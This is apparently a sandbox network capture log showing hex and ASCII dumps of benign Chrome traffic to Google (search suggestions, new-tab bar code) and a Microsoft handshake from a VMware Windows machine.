2024-12-20 21:52:10 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:09 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-YNQNMhLxh_AnGESWgspfiQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 21:52:10 UTC	124	IN	Data Raw: 38 34 32 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 22 2c 22 6d 69 6e 6e 65 61 70 6f 6c 69 73 20 73 6e 6f 77 20 65 6d 65 72 67 65 6e 63 79 20 70 61 72 6b 69 6e 67 22 2c 22 74 65 73 6c 61 20 72 65 63 61 6c 6c 73 22 2c 22 32 30 32 35 20 61 6c 6c 20 73 74 61 72 20 67 61 6d 65 22 2c 22 68 65 6c 6c 64 69 76 65 72 73 20 6b 69 6c Data Ascii: 842)]}'["",["nyt strands hints","minneapolis snow emergency parking","tesla recalls","2025 all star game","helldivers kil
2024-12-20 21:52:10 UTC	1390	IN	Data Raw: 6c 7a 6f 6e 65 20 63 72 6f 73 73 6f 76 65 72 22 2c 22 61 74 6c 61 6e 74 61 20 62 72 61 76 65 73 22 2c 22 66 69 6e 61 6c 20 6a 65 6f 70 61 72 64 79 20 61 6e 73 77 65 72 20 74 6f 64 61 79 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 67 72 65 65 74 69 6e 67 20 6a 6f 75 72 6e 65 79 20 72 65 77 61 72 64 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 Data Ascii: lzone crossover","atlanta braves","final jeopardy answer today","monopoly go greeting journey rewards"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:sug
2024-12-20 21:52:10 UTC	607	IN	Data Raw: 61 55 43 74 33 5a 45 46 43 54 45 52 7a 54 57 70 43 4c 7a 56 51 54 57 4a 6c 56 6d 74 4b 4e 45 5a 4b 4e 45 5a 4d 4e 45 4a 58 54 6a 6c 6b 63 44 59 33 51 32 30 33 64 47 56 4c 5a 31 70 4f 4d 6a 45 31 61 6b 4a 31 4f 47 70 4b 61 6c 6b 35 65 48 4e 6c 53 46 42 48 59 6d 6c 44 4c 30 30 79 61 69 39 6f 57 47 56 77 4d 57 52 4b 54 69 74 4e 5a 58 55 35 55 55 5a 6f 4b 31 68 5a 5a 58 49 31 64 47 35 6d 61 6d 39 54 54 56 67 78 52 46 5a 79 55 7a 52 6d 4f 54 49 72 5a 48 59 33 4d 54 63 77 56 7a 51 79 63 6e 6c 53 54 30 67 7a 5a 6b 63 35 63 55 56 56 61 45 45 78 63 45 70 6b 57 6a 64 4c 59 33 42 75 4f 45 6b 30 56 31 56 76 64 7a 56 54 4d 44 4a 70 65 46 67 32 4e 44 52 78 65 55 51 78 56 58 68 53 54 47 64 52 63 6a 6c 42 56 54 4e 32 65 47 51 30 4d 32 39 48 64 48 70 6a 65 55 35 57 59 6b Data Ascii: aUCt3ZEFCTERzTWpCLzVQTWJlVmtKNEZKNEZMNEJXTjlkcDY3Q203dGVLZ1pOMjE1akJ1OGpKalk5eHNlSFBHYmlDL00yai9oWGVwMWRKTitNZXU5UUZoK1hZZXI1dG5mam9TTVgxRFZyUzRmOTIrZHY3MTcwVzQycnlST0gzZkc5cUVVaEExcEpkWjdLY3BuOEk0V1VvdzVTMDJpeFg2NDRxeUQxVXhSTGdRcjlBVTN2eGQ0M29HdHpjeU5WYk
2024-12-20 21:52:10 UTC	686	IN	Data Raw: 32 61 37 0d 0a 59 30 56 47 5a 6d 46 46 51 6a 64 35 56 6b 52 73 4d 55 6c 47 57 6e 4e 30 63 32 6c 5a 4f 53 39 72 4f 58 70 70 61 45 68 47 53 6b 4e 50 5a 55 78 4a 52 54 55 76 62 48 6c 34 4f 57 4a 77 4d 30 35 30 53 31 6c 6a 65 45 64 54 51 6a 45 30 64 6b 35 4e 4f 45 6c 50 4c 30 73 30 63 58 64 61 4e 30 6c 46 54 48 70 33 4d 6e 4a 54 54 7a 59 33 53 32 35 6e 64 47 6c 44 4e 7a 46 74 5a 56 42 55 63 6e 45 32 4d 54 6c 76 57 6a 5a 4c 4c 33 45 72 61 44 4d 79 4e 6b 78 32 63 48 6c 6d 4c 30 46 59 61 6d 52 4c 61 30 4a 79 4c 32 4e 50 61 55 46 42 51 55 46 42 52 57 78 47 56 47 74 54 64 56 46 74 51 30 4d 36 44 6b 46 30 62 47 46 75 64 47 45 67 51 6e 4a 68 64 6d 56 7a 53 67 63 6a 4e 44 49 30 4d 6a 51 79 55 6a 5a 6e 63 31 39 7a 63 33 41 39 5a 55 70 36 61 6c 6c 30 5a 6c 41 78 56 47 Data Ascii: 2a7Y0VGZmFFQjd5VkRsMUlGWnN0c2lZOS9rOXppaEhGSkNPZUxJRTUvbHl4OWJwM050S1ljeEdTQjE0dk5NOElPL0s0cXdaN0lFTHp3MnJTTzY3S25ndGlDNzFtZVBUcnE2MTlvWjZLL3EraDMyNkx2cHlmL0FYamRLa0JyL2NPaUFBQUFBRWxGVGtTdVFtQ0M6DkF0bGFudGEgQnJhdmVzSgcjNDI0MjQyUjZnc19zc3A9ZUp6all0ZlAxVG
2024-12-20 21:52:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49714	142.250.181.132	443	2544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 21:52:09 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 21:52:10 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 20 Dec 2024 21:52:10 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 21:52:10 UTC	372	IN	Data Raw: 31 38 31 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1810)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-20 21:52:10 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-20 21:52:10 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-20 21:52:10 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-20 21:52:10 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-20 21:52:10 UTC	236	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 35 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 0d 0a Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700305,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-12-20 21:52:10 UTC	224	IN	Data Raw: 64 61 0d 0a 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f 2e 78 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 5f 2e 78 64 28 61 2c 62 2c 64 29 3b 65 6c 73 65 7b 64 5c 75 30 30 33 64 28 30 2c 5f 2e 7a 29 28 61 2e 43 2c 61 2c 62 29 3b 63 6f 6e 73 74 20 65 5c 75 30 30 33 64 61 2e 76 2b 63 3b 61 2e 76 2b 2b 3b 62 2e 64 61 74 61 73 65 74 2e 65 71 69 64 5c 75 30 30 33 64 65 3b 61 2e 42 5b 65 5d 5c 75 30 30 33 64 64 3b 62 5c 75 30 30 0d 0a Data Ascii: daunction(_){var window\u003dthis;\ntry{\n_.xd\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)_.xd(a,b,d);else{d\u003d(0,_.z)(a.C,a,b);const e\u003da.v+c;a.v++;b.dataset.eqid\u003de;a.B[e]\u003dd;b\u00
2024-12-20 21:52:10 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 32 36 5c 75 30 30 32 36 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 63 2c 64 2c 21 31 29 3a 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 74 74 61 63 68 45 76 65 6e 74 3f 62 2e 61 74 74 61 63 68 45 76 65 6e 74 28 5c 22 6f 6e 5c 22 2b 63 2c 64 29 3a 61 2e 6f 2e 6c 6f 67 28 45 72 72 6f 72 28 5c 22 42 60 5c 22 2b 62 29 29 7d 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 79 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 2e 67 62 5f 49 20 2e 67 62 5f 41 5c 22 29 2c 7a 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 Data Ascii: 800026\u0026b.addEventListener?b.addEventListener(c,d,!1):b\u0026\u0026b.attachEvent?b.attachEvent(\"on\"+c,d):a.o.log(Error(\"B`\"+b))}};\n}catch(e){_._DumpException(e)}\ntry{\nvar yd\u003ddocument.querySelector(\".gb_I .gb_A\"),zd\u003ddocument.queryS
2024-12-20 21:52:10 UTC	1390	IN	Data Raw: 69 6c 74 6f 5c 22 29 2c 47 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 46 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4c 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4c 64 28 5f 2e 48 64 3f 5f 2e 48 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 51 64 2c 64 65 2c 50 64 2c 52 64 2c 57 64 3b 5f 2e 4e 64 Data Ascii: ilto\"),Gd(\"ftp\"),new _.Fd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Ld\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Md\u003dnew _.Ld(_.Hd?_.Hd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Qd,de,Pd,Rd,Wd;_.Nd
2024-12-20 21:52:10 UTC	1390	IN	Data Raw: 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 4d 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 73 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 4f 64 28 5f 2e 45 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 Data Ascii: ion(a){var b\u003d_.Ma(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ae\u003dfunction(a,b,c){return _.sb(a,b,c,!1)!\u003d\u003dvoid 0};_.be\u003dfunction(a,b){return _.Od(_.Ec(a,b))};_.S\u003

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49715	142.250.181.132	443	2544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 21:52:09 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 21:52:10 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 20 Dec 2024 21:52:10 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 21:52:10 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-20 21:52:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49745	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-20 21:52:16 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 36 43 43 49 49 33 49 6b 55 45 61 6b 35 39 52 49 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 30 34 66 30 35 35 38 38 33 62 66 63 30 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 6CCII3IkUEak59RI.1Context: d104f055883bfc00
2024-12-20 21:52:16 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
